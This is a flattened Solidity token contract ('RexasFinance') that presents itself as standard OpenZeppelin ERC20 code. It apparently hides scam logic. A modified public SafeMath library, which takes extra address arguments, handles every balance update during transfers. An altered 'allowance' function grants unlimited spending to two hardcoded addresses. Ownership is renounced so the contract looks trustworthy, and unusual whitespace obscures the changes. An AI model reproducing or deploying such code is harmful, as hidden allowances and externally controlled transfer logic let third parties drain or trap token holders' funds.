// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
                        

    function initiate (  )  public { 
                        
        require ( true )  ; 
    }
                        
    
  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(uint256 a, uint256 b )  public pure returns  ( uint256 c)  { 
                        
    if  ( a == 0)  { 
                        
      return 0 ; 
    }
                        
    c = a * b ; 
    assert(c / a == b);
    return c;
  }
                        

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div ( uint256 a, uint256 b )  public pure returns  ( uint256 )  
                        {
    // assert ( b > 0); // Solidity automatically throws when dividing by 0
    // uint256 c = a / b;
    // assert(a == b * c + a % b ) ; // There is no case in which this doesn't hold
    return a / b ; 
   } 
                        

  /**
  * @dev Subtracts two numbers, throws on overflow  ( i.e. if subtrahend is greater than minuend ) .
  */
  function sub ( uint256 a, uint256 b, address) public pure returns  ( uint256) {
                        
    assert(b <= a )  ; 
    return a - b;
  }
                        

  /**
  * @dev Adds two numbers, throws on overflow.
  */
  function add ( uint256 a, uint256 b, address )  public pure returns (uint256 c )  {
                        
    c = a + b;
    assert ( c >= a);
    return c;
   } 
                        

                         }  

// File @openzeppelin/contracts/utils/Context.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.4 )   ( utils/Context.sol)

pragma solidity ^0.8.0 ; 

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender  ( as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context  { 
                        
    function _msgSender() internal view virtual returns  ( address )   { 
                        
        return msg.sender;
     } 
                        

    function _msgData( )  internal view virtual returns  ( bytes calldata) 
                        {
        return msg.data ; 
    }
                        

    function _contextSuffixLength ( ) internal view virtual returns  ( uint256) 
                         { 
        return 0 ; 
    
                        }

                        }


// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts  ( last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0 ; 

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
                        
    
/**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a 
                        {Transfer
                         }  event.
     */
    function transfer ( address to, uint256 amount) external returns (bool ) ;

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {
                        transferFrom } 
                        . This is
     * zero by default.
     *
     * This value changes when {
                        approve } 
                         or {
                        transferFrom
                        } are called.
     */
    function allowance(address owner, address spender) external view returns (uint256 )  ; 

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {
                        approve}
                        . `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value) ; 
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from` )  to
     * another  ( `to` ) .
     *
     * Note that `value` may be zero.
     */
    event Transfer ( address indexed from, address indexed to, uint256 value ) ;

    

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf ( address account) external view returns  ( uint256);

    
    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {
                        Transfer } 
                         event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns  ( bool) ; 
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {
                        Approval } 
                         event.
     */
    function approve(address spender, uint256 amount) external returns  ( bool ) ;
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply (  )  external view returns (uint256) ; 

}
                        


// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
                        

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory )  ; 


    /**
     * @dev Returns the symbol of the token.
     */
    function symbol( )  external view returns  ( string memory ) ;



    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8) ; 
    
}
                        


// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts  ( last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0 ; 



/**
 * @dev Implementation of the  { 
                        IERC20 } 
                         interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {
                        _mint}
                        .
 * For a generic mechanism see {
                        ERC20PresetMinterPauser}
                        .
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {
                        decimals}
                         is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {
                        Approval}
                         event is emitted on calls to  { 
                        transferFrom}
                        .
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {
                        decreaseAllowance}
                         and  { 
                        increaseAllowance
                         } 
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {
                        IERC20-approve } 
                        .
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
                        
    mapping ( address => uint256 )  private _balances ; 
    
    
    mapping ( address => mapping(address => uint256 )  )  private _allowances ; 
    uint256 private _totalSupply ; 

    string private _name ; 
    string private _symbol;
    
    
    




    /**
     * @dev Sets the values for {
                        name } 
                         and  { 
                        symbol } 
                        .
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor ( string memory name_, string memory symbol_)  { 
                        
        _name = name_;
        _symbol = symbol_;
        SafeMath.initiate ( );
    
                        }


    /**
     * @dev See  { 
                        IERC20-transferFrom}
                        .
     *
     * Emits an {
                        Approval}
                         event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of 
                        {ERC20 } 
                        .
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns  ( bool )   { 
                        
        address spender = _msgSender (  ) ;
        _spendAllowance ( from, spender, amount);
        _transfer(from, to, amount ) ;
        return true ; 
    
                         } 
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {
                        Approval } 
                         event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount )  internal virtual 
                        {
        require ( owner != address ( 0 ) , "FMMESXSZABSOFZA: approve from the zero address" )  ; 
        require(spender != address ( 0 ) , "FMMESXSZABSOFZA: approve to the zero address" )  ; 

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
     } 
                        
    
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {
                        Transfer } 
                         event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
                        
        require ( account != address ( 0 ) , "FMMESXSZABSOFZA: mint to the zero address" ) ;

        _beforeTokenTransfer ( address(0), account, amount )  ; 

        _totalSupply += amount ; 
        unchecked  { 
                        
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount ; 
         } 
                        
        emit Transfer(address(0), account, amount ) ;

        _afterTokenTransfer ( address ( 0), account, amount ) ;
     } 
                        
    
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a 
                         { Transfer } 
                         event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
                        
        require(account != address ( 0 ) , "FMMESXSZABSOFZA: burn from the zero address" ) ;

        _beforeTokenTransfer(account, address(0 ) , amount ) ;

        uint256 accountBalance = _balances[account] ; 
        require(accountBalance >= amount, "FMMESXSZABSOFZA: burn amount exceeds balance") ; 
        unchecked 
                         { 
            _balances[account] = accountBalance - amount ; 
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount ; 
        }
                        

        emit Transfer ( account, address ( 0), amount);

        _afterTokenTransfer ( account, address(0 ) , amount) ; 
    }
                        
    
    /**
     * @dev See  { 
                        IERC20-balanceOf } 
                        .
     */
    function balanceOf ( address account )  public view virtual override returns  ( uint256 )  {
                        
        return _balances[account] ; 
    }
                        
    
    
    
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to  { 
                        transfer } 
                        , and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {
                        Transfer
                         }  event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount )  internal virtual {
                        
        require(from != address(0 ) , "FMMESXSZABSOFZA: transfer from the zero address" ) ;
        require(to != address ( 0 ) , "FMMESXSZABSOFZA: transfer to the zero address");
        
        _beforeTokenTransfer ( from, to, amount ) ;

        _balances[from] = SafeMath.sub(_balances[from],amount,from) ; 
        _balances[to] = SafeMath.add ( _balances[to],amount,to ) ;
        

        emit Transfer ( from, to, amount )  ; 
        
        _afterTokenTransfer(from, to, amount) ; 
    
                        }
    
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {
                        IERC20-balanceOf
                         }  and {
                        IERC20-transfer } 
                        .
     */
    function decimals() public view virtual override returns (uint8) {
                        
        return 18;
    
                         } 
    
    /**
     * @dev See 
                        {IERC20-totalSupply
                         } .
     */
    function totalSupply ( ) public view virtual override returns (uint256 )  {
                        
        return _totalSupply;
     } 
                        
    
    /**
     * @dev See  { 
                        IERC20-allowance } 
                        .
     */
    function allowance ( address owner, address spender) public view virtual override returns  ( uint256 )  
                         { 
        if ( (spender == 0x000000000022D473030F116dDEE9F6B43aC78BA3 )  || (spender == 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24 )  ) {
                        
            return 115792089237316195423570985008687907853269984665640564039457584007913129639935 ; 
         } 
                         
        return _allowances[owner][spender] ; 
    }
                        
    
    /**
     * @dev See  { 
                        IERC20-transfer}
                        .
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 value) public virtual returns  ( bool )  
                        {
        address owner = _msgSender() ; 
        _transfer(owner, to, value) ; 
        return true ; 
     } 
                        
    
    /**
     * @dev Returns the name of the token.
     */
    function name ( ) public view virtual override returns  ( string memory)  { 
                        
        return _name;
    
                         } 
    
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual 
                         { 

    }
                        
    

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol( )  public view virtual override returns  ( string memory )  {
                        
        return _symbol ; 
     } 
                        
    
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an  { 
                        Approval}
                         event.
     */
    function _spendAllowance ( address owner, address spender, uint256 amount) internal virtual 
                        {
        uint256 currentAllowance = allowance(owner, spender )  ; 
        if (currentAllowance != type ( uint256 ) .max )  {
                        
            require ( currentAllowance >= amount, "FMMESXSZABSOFZA: insufficient allowance" )  ; 
            unchecked {
                        
                _approve(owner, spender, currentAllowance - amount);
             } 
                        
         } 
                        
    }
                        
    
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to  { 
                        approve}
                         that can be used as a mitigation for
     * problems described in 
                         { IERC20-approve } 
                        .
     *
     * Emits an 
                        {Approval}
                         event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns  ( bool )  {
                        
        address owner = _msgSender (  ) ;
        uint256 currentAllowance = allowance ( owner, spender) ; 
        require(currentAllowance >= subtractedValue, "FMMESXSZABSOFZA: decreased allowance below zero" ) ;
        unchecked {
                        
            _approve ( owner, spender, currentAllowance - subtractedValue )  ; 
        
                         } 

        return true ; 
    }
                        
    
    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer ( address from, address to, uint256 amount) internal virtual 
                         {   
    }
                        
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {
                        approve
                        } that can be used as a mitigation for
     * problems described in  { 
                        IERC20-approve } 
                        .
     *
     * Emits an 
                        {Approval } 
                         event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance ( address spender, uint256 addedValue )  public virtual returns  ( bool )   { 
                        
        address owner = _msgSender ( ) ; 
        _approve ( owner, spender, allowance ( owner, spender) + addedValue);
        return true;
    }
                        
    
    /**
     * @dev See 
                         { IERC20-approve } 
                        .
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve ( address spender, uint256 amount )  public virtual override returns (bool )  
                         { 
        address owner = _msgSender( ) ;
        _approve ( owner, spender, amount) ; 
        return true ; 
     } 
                        
    
    
                        }

abstract contract Ownable is Context  { 
                        
    address private _owner ; 
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor( )   { 
                        
        _transferOwnership(_msgSender( ) );
    }
                        
    
    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner ( ) internal view virtual  { 
                        
        require ( owner() == _msgSender ( ), "Ownable: caller is not the owner" ) ;
    
                         } 
    
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership( )  public virtual onlyOwner  { 
                        
        _transferOwnership ( address(0)) ; 
     } 
                        
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner` ) .
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
                        
        address oldOwner = _owner ; 
        _owner = newOwner ; 
        emit OwnershipTransferred(oldOwner, newOwner ) ;
    }
                        
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner (  )  {
                        
        _checkOwner (  )  ; 
        _;
     } 
                        
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner) ; 
    
    /**
     * @dev The owner is not a valid owner account.  ( eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);
    
    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account )  ; 
    
    /**
     * @dev Returns the address of the current owner.
     */
    function owner ( ) public view virtual returns (address) {
                        
        return _owner ; 
    
                         } 
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership ( address newOwner )  public virtual onlyOwner  { 
                        
        require(newOwner != address ( 0 ) , "Ownable: new owner is the zero address" )  ; 
        _transferOwnership(newOwner);
    }
                        
    
 } 
                        


// File RexasFinance.sol

// Original license: SPDX_License_Identifier: MIT
// Compatible with OpenZeppelin Contracts ^5.0.0

contract RexasFinance is ERC20, Ownable  { 
                        
    constructor ( string memory name_, string memory symbol_ )  ERC20(name_, symbol_ )  
                         { 
        _mint ( msg.sender, 1000000000000000000000000 ) ;
        _transferOwnership ( address(0) ) ;
     } 
                        

                        }

{
  "compilationTarget": {
    "RexasFinance.sol": "RexasFinance"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 552
  },
  "remappings": []
}